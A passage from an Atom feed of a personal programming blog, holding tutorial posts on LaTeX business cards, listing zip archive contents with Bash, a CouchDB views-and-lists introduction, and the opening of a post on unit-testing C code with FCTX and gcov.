&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\end{minipage}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\rule{74mm}{1mm}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;\end{Spacing}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\end{document}&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
After the build you'll got something like this:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-12T-3X3g0-Y/TVrY1wNy-fI/AAAAAAAAAO8/47W_B-NTtvA/s1600/visitcard.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="207" src="http://3.bp.blogspot.com/-12T-3X3g0-Y/TVrY1wNy-fI/AAAAAAAAAO8/47W_B-NTtvA/s320/visitcard.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I would like to notice that it can looks larger on the monitor comparing with the printing size due to different DPIs.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Multiply business card up to fill a page&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Use the generated PDF to fill the boxes in the following LaTeX file (based on &lt;a href="http://www.ccrnp.ncifcrf.gov/~toms/latex.html#businesscard"&gt;Tom Schneider template&lt;/a&gt;):&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\documentclass{article}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\newcommand{\verticalcards}{5}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\textwidth 22.00cm % 21.59cm&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\textheight 27.94cm&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\topmargin -1.75in % was -1.0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\headheight 0in&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\headsep 0in&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\oddsidemargin -0.5in % ok fits A4 paper&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\usepackage{pstricks} % allows using PSTricks!! &amp;nbsp;Remove if you don't have it.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\usepackage{pst-node} % nodes in pst&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\usepackage{graphics}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\pagestyle{empty} % removes page numbers&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\begin{document}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\noindent&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\setlength{\unitlength}{1in}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\begin{picture}(8.5,11)(0.0,0.3937) % revised for 5 vertical per page&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;\thicklines&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;\multiput(0,0)(3.54,0.0){2}{ % horizontal (x) motion&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; \multiput(0,0)(0.0,2.04){\verticalcards}{ % vertical (y) motion&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;\framebox(3.5,2){ % x,y size of box, inches&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; \shortstack[l]{&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; \includegraphics*{visitcard.pdf}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } % end shortstack&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;} % end makebox&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; } % end multiput&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;} % end multiput&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\end{picture}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"&gt;\end{document}&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Please notice &lt;b&gt;includegraphics&lt;/b&gt; command. You can use not only a PDF file, but any appropriate image.&lt;/div&gt;
&lt;div&gt;
The result will looks like:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-MS0CEzFku7I/TVrbJpzp49I/AAAAAAAAAPA/zF3a8ooCfMM/s1600/card2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-MS0CEzFku7I/TVrbJpzp49I/AAAAAAAAAPA/zF3a8ooCfMM/s320/card2.png" width="247" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
That's all! Print it, trim and you've got desired pieces of paper.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
P.S. If you have some questions about setting up the LaTeX ask in comments, just include the information about your OS and LaTeX version.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-5511884911952671072?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/5511884911952671072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/02/diy-business-cards-in-latex.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/5511884911952671072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/5511884911952671072'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/02/diy-business-cards-in-latex.html' title='DIY: Business cards in LaTeX'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-12T-3X3g0-Y/TVrY1wNy-fI/AAAAAAAAAO8/47W_B-NTtvA/s72-c/visitcard.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-3666703041932708324</id><published>2011-01-27T14:20:00.000-08:00</published><updated>2011-01-27T14:20:24.474-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><title type='text'>Mini HOWTO: Getting file names in Zip-archives using Bash</title><content type='html'>I'm gathering stats about my archives, and one of these is getting all the file names in them. There are some challenges about it, so let me show the required commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Getting file names from the one archive:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
unzip -l /path/to/zip-file | tail -n +4 | head -n -2 | cut -c31-&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Executing pipelined commands in xargs:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;xargs -I {} -i sh -c 'command1 | command2 | ... | commandN'&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For my case I've used the expression:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
find . -iname "*.zip" -print0 | xargs -0 -n1 -I {} -i sh -c 'unzip -l {} | tail -n +4 | head -n -2 | cut -c31-' | sort | uniq -c&lt;/div&gt;
&lt;br /&gt;
Yeah, yeah, black magic, gotcha &lt;img src="http://www.freesmileys.org/smileys/smiley-ashamed005.gif" alt="Smiley" border="0" /&gt; Good luck!&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-3666703041932708324?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/3666703041932708324/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/01/mini-howto-getting-file-names-in-zip.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3666703041932708324'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/3666703041932708324'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/01/mini-howto-getting-file-names-in-zip.html' title='Mini HOWTO: Getting file names in Zip-archives using Bash'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4237178709708807836</id><published>2011-01-04T01:02:00.000-08:00</published><updated>2011-01-04T01:02:39.182-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='couchdb'/><category scheme='http://www.blogger.com/atom/ns#' term='lotus notes'/><category scheme='http://www.blogger.com/atom/ns#' term='availability'/><title type='text'>CouchDB introduction</title><content type='html'>A phenomenon of document-oriented databases is quite interesting - many software developers face problems there this kind of databases is an excellent choice, but these developers don't use them and reinvent the wheel using relational or object-oriented databases. Difficult to say why it happens - because of ignorance, fear of performance problems or desire to reinvent own wheel, but this situation widely spread over the world. Fortunately, the common sense is prevailing, and &lt;a href="http://nosql-databases.org/"&gt;NoSQL movement&lt;/a&gt; prove it.&lt;br /&gt;
&lt;br /&gt;
I have a serious experience with &lt;a href="http://www-01.ibm.com/software/lotus/products/domino/"&gt;IBM Lotus Notes/Domino&lt;/a&gt;, and one of the most interesting features for me on first stages of its studying was saving application design in the documents. Thus the deployment of Lotus Notes database is incredibly easy - one just have to copy NSF-file to another location and it's ready for use (not always, but for trivial cases it's enough). Sometimes it can be a really useful feature, especially during prototyping, but not so many document-oriented databases have it. CouchDB is one of them.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
What &lt;a href="http://couchdb.apache.org/"&gt;Apache CouchDB&lt;/a&gt; is:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;A document database server, accessible via a RESTful JSON API.&lt;/li&gt;
&lt;li&gt;Ad-hoc and schema-free with a flat address space.&lt;/li&gt;
&lt;li&gt;Distributed, featuring robust, incremental replication with bi-directional 
conflict detection and management.&lt;/li&gt;
&lt;li&gt;Queried and indexed
in a MapReduce fashion using JavaScript..&lt;/li&gt;
&lt;li&gt;Written in &lt;a href="http://erlang.org/"&gt;Erlang&lt;/a&gt;, a robust functional programming language ideal
for building concurrent distributed systems. &lt;/li&gt;
&lt;/ul&gt;
CouchDB provides Web administration console (Futon), and in some way it can be compared with Lotus Notes Designer - it allows to operate documents, views, shows and lists, preview results, maintain databases. Of course, it is not so powerful, however it is suitable for trivial tasks, and in this introduction I'll show some aspects of it.&lt;br /&gt;
&lt;br /&gt;
Installation of the CouchDB is covered in wiki: &lt;a href="http://wiki.apache.org/couchdb/Installation"&gt;http://wiki.apache.org/couchdb/Installation&lt;/a&gt;. The installation can be checked by browsing to the local URL: &lt;a href="http://localhost:5984/_utils/"&gt;http://localhost:5984/_utils/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/_b8spDATDZH0/TSLPp1gZgoI/AAAAAAAAAN8/xnKZzzZLuvg/s1600/scr01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="182" src="http://4.bp.blogspot.com/_b8spDATDZH0/TSLPp1gZgoI/AAAAAAAAAN8/xnKZzzZLuvg/s400/scr01.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Create a new database "db" using corresponding button:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/TSLQEF763vI/AAAAAAAAAOA/mF0sG0Jeb4Y/s1600/scr02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://3.bp.blogspot.com/_b8spDATDZH0/TSLQEF763vI/AAAAAAAAAOA/mF0sG0Jeb4Y/s400/scr02.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Create a couple documents using "New Document" button:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/_b8spDATDZH0/TSLQ7659nHI/AAAAAAAAAOE/cjQctxQ6Ouo/s1600/scr03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://4.bp.blogspot.com/_b8spDATDZH0/TSLQ7659nHI/AAAAAAAAAOE/cjQctxQ6Ouo/s400/scr03.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Add fields &lt;i&gt;title&lt;/i&gt; and &lt;i&gt;content &lt;/i&gt;to these documents using "Add Field" button. Don't forget to click "Save Document" before navigating to the root.&lt;br /&gt;
&lt;br /&gt;
After that let's create required view. Switch to temporary view:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/_b8spDATDZH0/TSLSYWbkpQI/AAAAAAAAAOI/a8tLJSWFdK0/s1600/scr04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://2.bp.blogspot.com/_b8spDATDZH0/TSLSYWbkpQI/AAAAAAAAAOI/a8tLJSWFdK0/s400/scr04.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Views are the 
method of aggregating and reporting on the documents in a database, and are 
built on-demand to aggregate, join and report on database documents. Views are 
built dynamically and don’t affect the underlying document, you can have as 
many different view representations of the same data as you like.&lt;br /&gt;
&lt;br /&gt;
Let's create a simple view that just emit the rows with &lt;i&gt;title&lt;/i&gt; and &lt;i&gt;content &lt;/i&gt;fields from the documents:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;function(doc) {
  emit(null, {Content: doc.content, Title: doc.title});
}&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Test the view with the "Run" button:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/_b8spDATDZH0/TSLUMPjFLOI/AAAAAAAAAOM/lrCUH9WPbRY/s1600/scr05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://4.bp.blogspot.com/_b8spDATDZH0/TSLUMPjFLOI/AAAAAAAAAOM/lrCUH9WPbRY/s400/scr05.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now it's time to save the view for further usage (to a &lt;i&gt;design document&lt;/i&gt; that contain the application design):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/_b8spDATDZH0/TSLVKFwej4I/AAAAAAAAAOQ/kxgK5JpY8P0/s1600/scr06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://4.bp.blogspot.com/_b8spDATDZH0/TSLVKFwej4I/AAAAAAAAAOQ/kxgK5JpY8P0/s400/scr06.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
After that the view is accessible as JSON-object (use RESTful rules, in this particular case URL is http://&lt;i&gt;domain&lt;/i&gt;:&lt;i&gt;port&lt;/i&gt;/&lt;i&gt;database_name&lt;/i&gt;/_design/&lt;i&gt;design_document_name&lt;/i&gt;/_view/&lt;i&gt;view_name&lt;/i&gt;):&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/TSLXhL10zuI/AAAAAAAAAOU/Ij2K-GsgeXQ/s1600/scr07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://3.bp.blogspot.com/_b8spDATDZH0/TSLXhL10zuI/AAAAAAAAAOU/Ij2K-GsgeXQ/s400/scr07.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;show&lt;/i&gt; and &lt;i&gt;list &lt;/i&gt;functions convert documents and views, 
respectively, into non-JSON formats. The rows of each view are processed
 individually, which keeps long lists from becoming memory hogs. &lt;span class="anchor" id="line-7"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-8"&gt;&lt;/span&gt;They are designed to be cacheable. CouchDB handles generating Etags for show and list responses.&lt;br /&gt;
&lt;br /&gt;
Let's create a simple &lt;i&gt;list&lt;/i&gt; function. It will generate a basic HTML document using the data from the rows provided by the view we previously created:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;function(head, req) {
 start({'headers':{'Content-Type':'text/html;charset=UTF-8'}});
 send('&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;test&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;');
 var row;
 while(row = getRow()) {
   send('&amp;lt;h1&amp;gt;'+row.value['Title']+'&amp;lt;/h1&amp;gt;'+
        '&amp;lt;h2&amp;gt;'+row.value['Content']+'&amp;lt;/h2&amp;gt;');
 };
 send('&amp;lt;/body&amp;gt;');
}&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Add the field &lt;i&gt;&lt;b&gt;lists&lt;/b&gt;&lt;/i&gt; to the design document and create a sample list with the required function:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/TSLdioHy88I/AAAAAAAAAOc/eG3p0XUOxtY/s1600/scr08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://3.bp.blogspot.com/_b8spDATDZH0/TSLdioHy88I/AAAAAAAAAOc/eG3p0XUOxtY/s400/scr08.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
I would like to notice that there is a small glitch with the fields containing code - they don't work well with the carriage return symbol. I suggest to use Firefox for inserting code snippets, or just remove new lines symbols before inserting.&lt;br /&gt;
&lt;br /&gt;
The finishing line - testing the results. URL for getting required HTML is http://&lt;i&gt;domain&lt;/i&gt;:&lt;i&gt;port&lt;/i&gt;/&lt;i&gt;database_name&lt;/i&gt;/_design/&lt;i&gt;design_document_name&lt;/i&gt;/_list/&lt;i&gt;list_name&lt;/i&gt;/&lt;i&gt;view_name&lt;/i&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/_b8spDATDZH0/TSLfBwPVMTI/AAAAAAAAAOg/Gg8oXUpAzA8/s1600/scr09.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="183" src="http://3.bp.blogspot.com/_b8spDATDZH0/TSLfBwPVMTI/AAAAAAAAAOg/Gg8oXUpAzA8/s400/scr09.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
That's all! There are many features left overboard, but I hope you have got an idea. Of course, CouchDB is not the most powerful document-oriented database, but it's free, have a serious potential and worth a try for your new software project especially if it's related to electronic workflow.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4237178709708807836?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4237178709708807836/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/01/couchdb-introduction.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4237178709708807836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4237178709708807836'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/01/couchdb-introduction.html' title='CouchDB introduction'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_b8spDATDZH0/TSLPp1gZgoI/AAAAAAAAAN8/xnKZzzZLuvg/s72-c/scr01.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4469188959400113799</id><published>2010-12-17T13:49:00.000-08:00</published><updated>2010-12-17T13:49:54.304-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='testing'/><title type='text'>C modules unit-testing in Linux</title><content type='html'>In spite of its age, C programming language is still very popular, especially for developing system or low-level software like drivers, compilers, virtual machines etc. And as any software, it have to be tested. Let me show brief introduction in unit-testing for C modules.&lt;br /&gt;
&lt;br /&gt;
There are many unit-testing frameworks for C, and one of the most well-known is &lt;a href="http://code.google.com/p/cmockery/"&gt;cmockery&lt;/a&gt;. But I'll show the usage of much more simpler "framework" - &lt;a href="http://fctx.wildbearsoftware.com/"&gt;FCTX&lt;/a&gt;. The main advantage of it is that it consists of just one header file, so it can be easily used for test tasks, small projects and examples.&lt;br /&gt;
&lt;br /&gt;
For calculating code coverage I use &lt;a href="http://gcc.gnu.org/onlinedocs/gcc/Gcov.html"&gt;gcov&lt;/a&gt;/&lt;a href="http://ltp.sourceforge.net/coverage/lcov.php"&gt;lcov&lt;/a&gt; tools. Gcov is included in GCC, so you don't have to install it. Lcov is a graphical front-end for Gcov and should be installed from the repository:&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
$ sudo apt-get install lcov&lt;/div&gt;
&lt;br /&gt;
As a sample code for testing I'll use a simple hash function from Robert Sedgwicks Algorithms in C book:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;
#include "hash.h"

unsigned int RSHash(char* str, unsigned int len) {
  unsigned int b    = 378551;
  unsigned int a    = 63689;
  unsigned int hash = 0;
  unsigned int i    = 0;

  for (i = 0; i &amp;lt; len; ++str, ++i) {
    char ch = *str;
    if (!ch) {
      break;
    }
    hash = hash * a + ch;
    a = a * b;
  }
  
  return hash;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
The tests:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;
#include "fct.h"
#include "hash.h"

FCT_BGN() {
  FCT_QTEST_BGN(test_hash) {
      fct_chk_eq_int(RSHash("test", 4), 280461880);
  } FCT_QTEST_END();

  FCT_QTEST_BGN(test_hash_with_empty_string) {
      fct_chk_eq_int(RSHash("", 0), 0);
  } FCT_QTEST_END();
} FCT_END();
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Tests are compiled and started as a usual command-line utility:&lt;br /&gt;
&lt;br /&gt;
